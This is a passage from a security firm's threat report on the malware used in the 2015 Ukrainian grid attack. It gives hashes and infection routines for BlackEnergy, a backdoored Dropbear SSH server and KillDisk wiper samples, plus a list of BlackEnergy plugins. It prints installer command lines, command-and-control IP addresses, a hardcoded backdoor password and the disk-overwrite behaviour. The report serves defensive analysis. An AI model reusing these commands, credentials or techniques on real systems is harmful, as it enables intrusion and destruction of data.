Further weakens Internet Explorer settings: i. HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii.
HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to 1) iii.
HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to 1) iv.
[
Amongst some other I.E.
settings] b. Loads BE into svchost.exe -DcomLaunch 5.
Launches (in this case PID: 2704) Command line: /s /c for /L i in (1,1,100) do (del /F C:\ DOCUME1\useradm\Desktop\07E7261.EXE  ping localhost -n 2  if not exist C:\ DOCUME1\useradm\Desktop\07E7261.EXE Exit 1) a. Deletes BE on-disk installer 6.
Fontcache (from within svchost.exe -DcomLaunch) launches C:\Program Files\Internet Explorer\iexplore.exe -Embedding a.
Which beacons to 5.149.254.114:80 boozallen.com/ics         43 Related Samples: 1.
Appendix B.8: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5: cdfb4cda9144d01fb26b5449f9d189ff) 2.
Appendix B.9 BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) A P P E N D I X  B .
5 : BE2 INSTALLER (UNDISCLOSED) SHA1: 896fcacff6310bbe5335677e99e4c3d370f73d96 SHA-256: 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad MD5: 1d6d926f9287b4e4cb5bfc271a164f51 Type: Win32 Executable217 First Upload: 2015-10-11 04:17:36 UTC218 Compile Timestamp: 0000:00:00 00:00:00219 Final Modification Timestamp: Undisclosed File Size: 155648  bytes220 Language Settings: English221 File Names: Undisclosed Technical Notes: This is a BE2 dropper, installer, and RAT bundle.
It is either a modified Cyberlink PowerDVD 10 binary or is designed to look like one during string analysis.
The installer appears to be packed, possibly with tElock.
The associated implant is packed with tElock 0.99.
This bundle includes an encrypted file, which is likely the configuration file stored on disk.
Infection Routine: 1.
Installer 1d6d926f9287b4e4cb5bfc271a164f51.exe (in this case PID 596) executes 2.
Installer creates file c:\windows\adpu160ms then pings localhost -n 2 (effectively a 2 second sleep) 3.
Installer pings localhost -n 3 (effectively a 3 second sleep) 4.
Installer launches a cmd.exe (in this case PID 880) with the following command line: a. PID: 880, Command line: /c ping localhost n 8  move /Y C:\WINDOWS\adpu160ms C:\WINDOWS\system32\drivers\adpu160m.sys  ping localhost n 3  net start adpu160m 5.
Services.exe (in this case PID 768) writes the registry keys for apdu160m and loads adpu160m.sys into svchost.exe DcomLaunch (in this case PID 988) 44 Booz Allen Hamilton 6.
Once loaded into svchost.exe DcomLaunch (PID 988) the malware writes a 203-byte, encoded, and timestamped file to c:\windows\system32\ieapflrt.dat, which is likely a configuration file.
7.
The implant then performs a reverse lookup to 5.9.32.230 and attempts to initiate a TCP connection over port 443.
The implant goes through this routine frequently, nearly every two minutes.
Related Samples: 1.
Appendix B.7: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) 2.
Appendix B.8: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) A P P E N D I X  B .
6 : DROPBEAR INSTALLER (DROPBEARRUN.VBS)ac SHA1: 72d0b326410e1d0705281fde83cb7c33c67bc8ca SHA-256: b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f MD5: 0af5b1e8eaf5ee4bd05227bf53050770 Type: ASCII text222 First Upload: 2015-10-13 10:51:25 UTC223 Compile Timestamp: Undisclosed Final Modification Timestamp: 2015-03-17 06:41:04 UTC0224 File Size: 165 bytes225 Language Settings: Undisclosed File Names: DropbearRun.vbs226 VBS/Agent.
AD trojan227 Technical Notes: This script launches the Dropbear SSH server from directory C:\\WINDOWS\TEMP\DROPBEAR\, and sets the server to listen on port 6789.228 The modified version of the Dropbear server includes two backdoors, a hardcoded public key authentication process, and a hardcoded username and password.229 Related Samples: 1.
Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2.
Appendix B.13: Dropbear Implant (Dropbear.exe) (fffeaba10fd83c59c28f025c99d063f8) ac.
A sample of this file was not recovered.
The technical notes provided are based on the cited reporting.
boozallen.com/ics         45 PERSISTENT MALWARE IMPLANTS After dropping FONTCACHE.DAT into the application data directory and inserting the associated .lnk file in the startup directory, the installer takes steps to modify the Internet security setting and initiate the process of connecting to the command-and-control (CC) server.
The installer first modifies in-registry Internet settings to lower the Internet security, then uses rundll32.
exe to launch FONTCACHE.DAT, which in turn further weakens Internet security settings, specifically targeting MS Internet Explorer.
FONTCACHE.DAT is then loaded into svchost.exe, the standard process used for hosting services running off .dll files, which then launches iexploerer.exe and attempts to use Internet Explorer to establish an HTTP connection with an external host.ad In the analyzed sample, the implant attempted to connect to IP address 5.149.254.114.ae This IP address was identified as a potential CC server in other BE3 analysis reporting.230 Communications between the infected host and the CC server are conducted using HTTP POST requests.231 During the initiation of the connec- tion, BE3 requests will contain fields such as a SHA1 hash of the bot_id, domain security identifier (SID), host name and serial number, as well as build_id from the samples configuration data, and a series of hardcoded values repre- senting the associated version number.232 The CC server then sends a decrypted response as a series of 509_ASN encoded values.233 In the initial POST request sent to the CC server, the hashed build_id is a unique text string associated with each individual infection.234,235 These build_ids, as well as a list of the CC servers, are stored in the embedded configuration data within the binary of the .dll implant.236 Publicly reported analysis of the BE3 samples indicate that at least 12 build_ids had been identified in 2015, and the strings included in the build_ids are likely significant.237 The 12 build_ids recovered in 2015 included strings such as kiev_o and 2015telsmi, and the authors of the report speculate SMI is an acronym representing Sredstva Massovoj Informacii.238 Sredstva Massovoj Informacii ( ) is the Russian term for mass media, which may be referring to the attack on the Ukrainian media outlet in October 2015.
ad.
This summary is based on the infection routine observed in VBA_macro.exe, Sample 1.
Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1).
ae.
This summary is based on the infection routine observed in VBA_macro.exe, Sample 1.
Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1).
46 Booz Allen Hamilton A P P E N D I X  B .7 : BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 1) SHA1: 899baab61f32c68cde98db9d980cd4fe39edd572 SHA-256: ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3 MD5: 3fa9130c9ec44e36e52142f3688313ff Type: Win32 Dynamic Link Library239 First Upload: 2015-10-13 10:51:25 UTC240 Compile Timestamp: 1979-01-28 00:25:53241 Final Modification Timestamp: 1979:01:28 01:25:5301:00242 File Size: 56832  bytes243 Language Settings:244 Neutral English US File Names:245 FONTCACHE.DLL FONTCACHE.DAT.174093.DROPPED FONTCACHE.DAT packet.dll Technical Notes: This is the implant file associated with Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1).
Full infection routine details are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1).
Related Samples: 1.
Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) boozallen.com/ics         47 A P P E N D I X  B .
8 : BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 2) SHA1: 315863c696603ac442b2600e9ecc1819b7ed1b54 SHA-256: f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8 MD5: cdfb4cda9144d01fb26b5449f9d189ff Type: Win32 Dynamic Link Library246 First Upload: 2015-07-27 13:17:32247 Compile Timestamp: 1979-01-28 00:25:53248 Final Modification Timestamp: 1979-01-28 00:25:53249 File Size: 55808 bytes250 Language Settings:251 Neutral English US File Names:252 FONTCACHE.DAT 63.dll packet.dll Technical Notes: This is the implant file associated with Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2).
Full infection routine details are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2).
Related Samples: 1.
Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1 2.
Appendix B.10: BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) A P P E N D I X  B .
9 : BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 1)af SHA1: f89ce5ba8e7b8587457848182ff1108b1255b87f SHA-256: 2872473b7144c2fb6910ebf48786c49f9d4f46117b9d2aaa517450fce940d0da MD5: 40c74556c36fa14664d9059ad05ca9d3 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted af.
This is an embedded file dropped during malware execution.
This file was not publicly reported as an independent malware sample.
Not Submitted is listed in fields that would otherwise have been populated with data from public sources.
48 Booz Allen Hamilton Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant.
Full infection routine details associated with this file are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1).
Related Samples: 1.
Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) 2.
Appendix B.4: BE3 Implant (FONTCACHE.DAT, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) A P P E N D I X  B .
1 0 : BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 2)ag SHA1: 3feb426ac934f60eee4e08160d9c8bbe926c917e SHA-256: 22735ffeb3472572f608e9a2625ec91735482d9423ea7a43ed32f8a39308eda8 MD5: bffd06a38a46c1fe2bde0317176f04b8 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant.
Full infection routine details associated with this file are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2).
Related Samples: 1.
Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2.
Appendix B.9: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5:cdfb4cda9144d01fb26b5449f9d189ff) ag.
This is an embedded file dropped during malware execution.
This file was not publicly reported as an independent malware sample.
Not Submitted is listed in fields that would otherwise have been populated with data from public sources.
boozallen.com/ics         49 A P P E N D I X  B .
1 1 : BE2 IMPLANT (ADPU160M.SYS) SHA1: 4bc2bbd1809c8b66eecd7c28ac319b948577de7b SHA-256: 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5 MD5: e60854c96fab23f2c857dd6eb745961c Type: Win32 Executable253 First Upload: 2015-10-09 16:26:08 UTC254 Compile Timestamp: Not Submitted Final Modification Timestamp: 0000:00:00 00:00:00255 File Size: 60928 bytes256 Language Settings: English257 File Names:258 FILE_208 acpipmi.sys aliides.sys Technical Notes: This is the implant file associated with Appendix B.5: BE2 Installer (Undisclosed).
The name is listed here (adpu160m.sys) is taken from a legitimate, unused driver on the system, and will potentially vary between executions.
Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed).
Related Samples: 3.
Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) 4.
Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) A P P E N D I X  B .
1 2 : BE3 ENCRYPTED CONFIGURATION/ON-DISK-STORE (IEAPFLRT.DAT)ah SHA1: 63bf25190139bd307290c301304597bdeffa4351 SHA-256: ad2e333141e4e7a800d725f06e25a58a683b42467645d65ba5a1cf377b4adcbe MD5: 01215f813d3e93ed7e3fc3fe369a6cd5 Type: Not Submitted First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: Not Submitted Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the encrypted configuration and on-disk-store file associated with Appendix B.5: BE2 Installer (Undisclosed).
Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed).
ah.
This is an embedded file dropped during malware execution.
This file was not publicly reported as an independent malware sample.
Not Submitted is listed in fields that would otherwise have been populated with data from public sources.50 Booz Allen Hamilton Related Samples: 1.
Appendix B.5: BE2 Installer (Undisclosed (MD5:1d6d926f9287b4e4cb5bfc271a164f51) 2.
Appendix B.7: BE3 Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) A P P E N D I X  B .
1 3 : MODIFIED DROPBEAR SERVER IMPLANT (DROPBEAR.EXE)ai SHA1: 166d71c63d0eb609c4f77499112965db7d9a51bb SHA-256: 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd MD5: fffeaba10fd83c59c28f025c99d063f8 Type: Win32 Executable259 First Upload: 2015-06-25 09:16:03260 Compile Timestamp: 2013-12-10 06:08:44261 Final Modification Timestamp: 2013:12:10 07:08:4401:00262 File Size: 303152 bytes Language Settings: Undisclosed File Names: dropbear.exe263 Win32/SSHBearDoor.
A trojan264 Technical Notes: This file is the Dropbear server program.
Analysis identified that this Dropbear binary code was modified from its source code to include a backdoor and authentication processes.265 The first authentication process uses a hardcoded credential set of user and passDs5Bu9Te7 and the second process uses a RSA public key.266 Related Samples: 1.
Appendix B.1: Weaponized MS Excel (1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) 2.
Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) ai.
A sample of this file was not recovered.
The technical notes provided are based on the cited reporting.
boozallen.com/ics         51 KILLDISK SAMPLES Five KillDisk samples were recovered and analyzed for this report.
Two of the samplesa- j,ak drop a file C:\windows\svchost.exe and create a process C:\WINDOWS\svchost.exe service, which runs as a child of services.exe.
The process overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with zeros, effectively rendering the OS unusable upon reboot.
The infected machine then sustains a critical error, displays a blue screen of death, and reboots with the message Operating System not found.
A third observed sampleal executes nearly identically, though the sample runs as its own process as opposed to dropping an embedded file onto the targeted system to overwrite the data.
A key point of variance between recovered samples is the level of additional data destruction beyond overwriting the master boot record.
Though all samples ultimately rendered the machines inoperable, in the samplesam,an described above, a critical system error and forced reboot occurred without overwriting any additional data on disk.
This indicates that valuable data stored on the device may be recoverable, even if the machine itself is inoperable.
Two other analyzed samplesao,ap included additional data destruction beyond the MBR.
The firstaq runs as its own process and overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with spaces, rendering the OS unusable upon reboot.
The sample then continues to overwrite thousands of files while the system remains powered on but unusable.
The other sample follows a nearly identical execution, though it runs as a child process to services.exe aj.
Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) ak.
Appendix B.14: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) al.
Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) am.
Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) an.
Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) 52 Booz Allen Hamilton and also drops hundreds of 5-byte .tmp files in C:\ windows\temp\ with incrementing numeric file names.
Public reporting indicates that some observed KillDisk samples would not execute properly in malware sandboxes, requiring analysts to conduct static analysis.267 This could possibly indicate functionality to identify the use of malware sandboxes, a feature that would be included to hinder forensic analysis.
In initial analysis of one of the recovered samples,ar analysts found it would not run in a Windows XP virtual machine, though patching with Ollydbg corrected this issue.
This may have been the same issue discussed by other analysts encountered.
At least one machine destroyed by KillDisk was functioning as a remote terminal unit (RTU), and some public reporting indicated that a process executed by the malware (sec_service.exe) may have been a standard process in several applica- tions used in control environments.268 Despite this, specific targeting of industrial control systems (ICS) devices was not a behavior observed in any of the KillDisk samples analyzed.
The samples observed did not include inherent features to discover ICS components, and the reported disk destruction against the RTU was likely accomplished by the threat actors, actively delivering the malware to the targeted system.
In addition to targeting the electricity distributors in December 2015, several of the KillDisk samples analyzed for this report were also reported in attacks against a Ukrainian railway operatoras and Ukrainian mining companyat,au in November and December 2015.269 ao.
Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) ap.
Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) aq.
Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) ar.
Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) as.
Ibid at.
Appendix B.15: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) au.
Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) boozallen.com/ics         53 A P P E N D I X  B .
1 4 : KILLDISK (SAMPLE 1) SHA1: aa0aaa7002bdfe261ced99342a6ee77e0afa2719 SHA-256: 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86 MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a Type: Win32 Executable270 First Upload: 2016-03-22 11:54:29 UTC271 Compile Timestamp: 2015-10-24 18:19:30272 Final Modification Timestamp: 2015:10:24 19:19:3001:00273 File Size: 110592 bytes274 Language Settings: English US275 File Names: 1.1276 Technical Notes: This KillDisk sample executes a destructive disk overwrite function.
Following execution, data may be recoverable.
Execution Routine: 1.
Shortly after running, the executable creates a process C:\WINDOWS\svchost.exe -service that runs as a child of services.exe it runs in such fashion because it is installed as service msDefenderSvc.
2.
The executable then overwrites (with zeros) the first 131072 bytes of \Device\Harddisk0\DR0, effectively rendering the OS unusable upon reboot.
3.
While running, the machine sustains a critical error, and upon reboot displays Operating system not found.
The machine sustains this critical system error before additional files are overwritten, indicating some data may be recoverable.
Dropped files include: c:\windows\svchost.exe Related Samples: N/A A P P E N D I X  B .
1 5 : KILLDISK (SAMPLE 2) SHA1: 8ad6f88c5813c2b4cd7abab1d6c056d95d6ac569 SHA-256: f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95 MD5: 72bd40cd60769baffd412b84acc03372 Type: Win32 Executable277 First Upload: 2015-11-10 09:31:41278 Compile Timestamp: 2015-10-24 18:19:30279 Final Modification Timestamp: 2015:10:24 19:19:3001:00280 54 Booz Allen Hamilton File Size: 110592 bytes281 Language Settings: English US282 File Names: svchost.exe283 Technical Notes: The execution process for this sample is identical to the process detailed in Appendix B.14: KillDisk (Sample 1).
Related Samples: 1.
Appendix B.14: KillDisk (Sample 1) (MD5:108fedcb6aa1e79eb0d2e2ef9bc60e7a) A P P E N D I X  B .
1 6 : KILLDISK (SAMPLE 3) SHA1: f3e41eb94c4d72a98cd743bbb02d248f510ad925 SHA-256: c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d MD5: 7361b64ddca90a1a1de43185bd509b64 Type: Win32 Executable284 First Upload: 2015-12-23 22:34:19285 Compile Timestamp: 1999:01:06 23:02:0001:00286 Final Modification Timestamp: 1999:01:06 23:02:0001:00287 File Size: 98304 bytes288 Language Settings: English US289 File Names:290 tsk.exe danger Ukranian.bin.exe Technical Notes: This KillDisk sample executes a destructive disk overwrite function.
In addition to destroying critical OS data, the sample also overwrites thousands of additional files, including log files.291 Following execution, data is not likely recoverable.
In initial analysis, the executable would not run from cmdline on Win5.1.
The file was patched using Ollydbg, allowing it to run as a child of services.exe as Binary_Name -LocalService.
Execution Routine: 1.
The executable overwrites (with blanks/spaces) first 131072 bytes of \Device\Harddisk0\DR0, effectively rendering the OS unusable upon reboot.
2.
After overwriting OS data, the executable continues to overwrite thousands of files, causing the system to remain powered but unusable.
Data destruction takes long time and does not immediately trigger a critical system error.
3.
Following reboot, the system displays reboot error: Operating system not found.
The executable also drops hundreds of 5-byte files in C:\windows\temp\00.tmp, where is an incrementing numeric.
Related Samples: N/A boozallen.com/ics         55 A P P E N D I X  B .
1 7 : KILLDISK (SAMPLE 4) SHA1: 16f44fac7e8bc94eccd7ad9692e6665ef540eec4 SHA-256: 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6 MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4 Type: Win32 Executable First Upload: 2015-10-25 01:31:24292 Compile Timestamp: 2015:10:24 14:23:02293 01:00 Final Modification Timestamp: 2015:10:24 14:23:0201:00294 File Size: 90112 bytes295 Language Settings: English US296 File Names:297 crab.exe ololo 2.exe ololo.exe Technical Notes: This KillDisk sample executes a destructive disk overwrite function.
Following execution, data may be recoverable.
Execution Routine: 1.
The executable runs as own process rather than running an embedded file as a child process, as was observed in other samples.
2.
Upon execution, the first 131072 bytes of \Device\Harddisk0\DR0 are overwritten with zeros, effectively rendering the OS unusable upon reboot.
3.
While running, the machine sustains a critical error, and upon reboot displays Operating system not found.
The machine sustains the critical system error before additional files are overwritten, indicating some data may be recoverable.
Related Samples: N/A 56 Booz Allen Hamilton A P P E N D I X  B .
1 8 : KILLDISK (SAMPLE 5) SHA1: 6d6ba221da5b1ae1e910bbeaa07bd44aff26a7c0 SHA-256: 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 MD5: 66676deaa9dfe98f8497392064aefbab Type: Win32 Executable298 First Upload: 2015-10-25 23:07:26299 Compile Timestamp: 2015-10-24 13:49:03300 Final Modification Timestamp: 2015:10:24 14:49:0301:00301 File Size: 126976 bytes302 Language Settings: English US303 File Names:304 trololo.exe 123.txt ololo.exe ololo.txt virus_ololo.dat Technical Notes: This KKillDisk sample executes a destructive disk overwrite function.
In addition to destroying critical OS data, the sample also overwrites thousands of additional files, including log files.305 Following execution, data is not likely recoverable.
Execution Routine: 1.
The executable runs as own process rather than running an embedded file as a child process, as was observed in other samples.
2.
The executable overwrites (with blanks/spaces) the first 131072 bytes of \Device\Harddisk0\ DR0, effectively rendering the OS unusable upon reboot.
3.
After overwriting OS data, the executable continues to overwrite thousands of files, causing the system to remain powered but unusable.
Data destruction takes long time and does not immediately trigger a critical system error.
4.
Following reboot, the system displays reboot error: Operating system not found.
Related Samples: N/A boozallen.com/ics         57 BlackEnergy (BE) was first observed in 2007 and has since been used by a wide range of threat actors, predominantly criminal groups, to conduct a diverse collection of malicious campaigns.306 BE has been observed as an enabling tool in distributed denial-of-service (DDoS) attacks, theft of banking credentials, widespread reconnaissance and cyberespio- nage,307 and ultimately disruptive industrial control systems (ICS) attacks in Ukraine.
The BE plugins identified reflect the diverse use of this malware, and the significant overlap in function- ality across different plugins indicates that several distinct groups are actively using the tool.
At least 14 BE plugins have been identified in public reporting, including:308,309 FS.dll: Functions as a data exfiltration tool gathers documents and private keys by search for specific file extensions SI.dll: Searches infected machines for specific configuration and operational data JN.dll: Functions as a parasitic infector fixes checksum values in PE headers, fixes CRC32 Nullsoft value, and deletes digital signatures to avoid invalidation KI.dll: Records user key strokes on infected machines PS.dll: Searches infected machines for user credentials SS.dll: Captures screenshots on infected machines VS.dll: Functions as a network discovery and remote execution tool.
Scans the infected network to identify connected network resources, retrieves remote desktop credentials, and attempts to establish connections.
Uses PsExec, which is embedded in the plugin, to gather system information and launch executables on remote machines TV.dll: Searches for TeamViewer versions 68.
If the targeted application is identified, the plugin sets an additional password, creating an additional backdoor into the compromised system RD.dll: Functions as a pseudo remote desktop server UP.dll: Used to update the hosted malware DC.dll: Identifies Windows accounts on the infected system BS.dll: Conducts system profiling through queries of system hardware, BIOS, and Windows information DSTR.dll: Functions as a logic bomb.
At a specified time, the plugin rewrites files with specific extensions with random data, deletes itself, and deletes the first 11 sectors of system drive, then rewrites all remaining data SCAN.dll: Functions as a network scanner on infected systems.
Of particular interest in the attacks against Ukrainian electricity distributors are the SI and PS plugins.
As plugins designed specifically to search for credential data, SI or PS are the likely plugins used following the initial infection.
Data destruction was also a component of the final stages of the attack, and though BE has a dedicated data destruction plugin, DSTR.dll, public reporting indicates that the disk-wiping component of the attack was achieved using the KillDisk malware.
A P P E N D I X  C : BlackEnergy Plugins boozallen.com/ics         59 The SI plugin gathers a wide range of systems data.
Using the systeminfo.exe utility, SI gathers configuration information, including OS version, privileges, current time, up time, idle time, and proxy.310 SI also identifies:311 Installed applications, using the uninstall program registry Process list, using the tasklist.exe utility IP configurations, using the ipconfig.exe utility Network connections, using the netstat.exe utility Routing tables, using the route.exe utility Traceroute and Ping information to Google, using tracert.exe and ping.exe Mail, browser, and instant messaging clients.
Of particular interest is its targeting of password managers and stored user credentials.312 SI is designed to pull credentials from The Bat email client, Mozilla password manager, Google Chrome password manager, Outlook and Outlook Express, Internet Explorer, and Windows Credential Store, including credentials for Windows Live messenger services, Remote Desktop, and WinINET.313 If any of these applications or services were deployed on the targeted systems, they would present a viable avenue for gathering the valid user credentials that the threat actors ultimately obtained in their attack.
The PS.dll plugin is also specifically designed to search and exfiltrate credentials,314 and may have been used in the attack.
Similarly, the KI.dll may have been used to record and transfer keystrokes during user authentication, as some public reporting speculates.315 Detail on the specific function of these two plugins was not listed in public sources, and samples of the .dll files were not located for analysis.
Of the 15 plugins mentioned in this report, most were initially developed for BE2, though they could be recompiled for use with BE3.316 According to reporting in September 2015, SI was the only plugin analyzed by security researchers that had been updated for use with BE3 at that time317 this indicates SI may have been the tool used in the December 2015 attacks.
Later reporting, in January 2015, indicated that all 14 of the plugins had been modified for compatibility with BE3.318 60 Booz Allen Hamilton Though the primary tool in the Ukraine attacks was BlackEnergy (BE) 3, as noted above, several other remote access trojans (RAT) were observed in the phishing campaign leading up to the attacks.319 Several reports discussed the use of a modified version of Dropbear,320,321,322 an open-source SSH server and client executable designed as a lightweight server primarily for Linux-based embedded systems.323 As with BE3, the modified Dropbear was launched using a Visual Basic (VB) scriptav delivered via a weapon- ized Microsoft (MS) Excel document.324 At launch, the server is set to listen at port 6789.325 The modified version of the Dropbear server contained two backdoors, a hardcoded public key authentication process, and a hardcoded username and password, allowing threat actors to authenticate into the targeted system.326 One of the benefits, from an attackers perspective, of using a RAT such as the modified Dropbear server, is that it is not inherently malicious, and unlike other RATs, it may not be recognized by automated scanners designed to recognize potentially malicious files.327 Using an open- source SSH client like Dropbear in the initial infection would also limit the risk of exposing a more complex and valuable piece of malware, such as BE3 if the malware is discovered, it would not represent a significant loss from the attackers perspective.
During analysis of BE3 malware samples, analysts did not find any technical link between BE3 and the other referenced RATs: GCat, Dropbear, and Kryptik.
It is possible, as some public reporting indicates, that these additional trojans were used by the same threat actors that conducted the attack on the electrical grid in the attack the threat actors used at least two separate malware applications, BE3 and KillDisk.
There is no technical evidence to confirm these additional trojans were used by the same group though, and it is possible they had been delivered to the targeted systems as part of separate, unrelated attacks.
A P P E N D I X  D : Alternate Remote Access Trojans av.
Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) boozallen.com/ics         61 1.
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2.
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3.
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5.
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7.
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11.
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12.
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13.
Ibid.
14.
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16.
Ibid.
17.
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18.
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19.
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20.
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21.
Ibid.
A P P E N D I X  E : Sources boozallen.com/ics         63 22.
Ibid.
23.
Ibid.
24.
Ibid.
25.
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gov.ua/?p2370.
26.
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27.
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28.
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29.
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30.
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31.
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32.
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68 Booz Allen Hamilton 116.
Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf.
117.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
118.
Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297.
119.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
120.
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121.
Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf.
122.
Ibid.
123.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
124.
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125.
Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297.
126.
Ibid.
127.
Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf.
128.
Ibid.
129.
Black Energy, CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp:// cert.gov.ua/?p2370.
130.
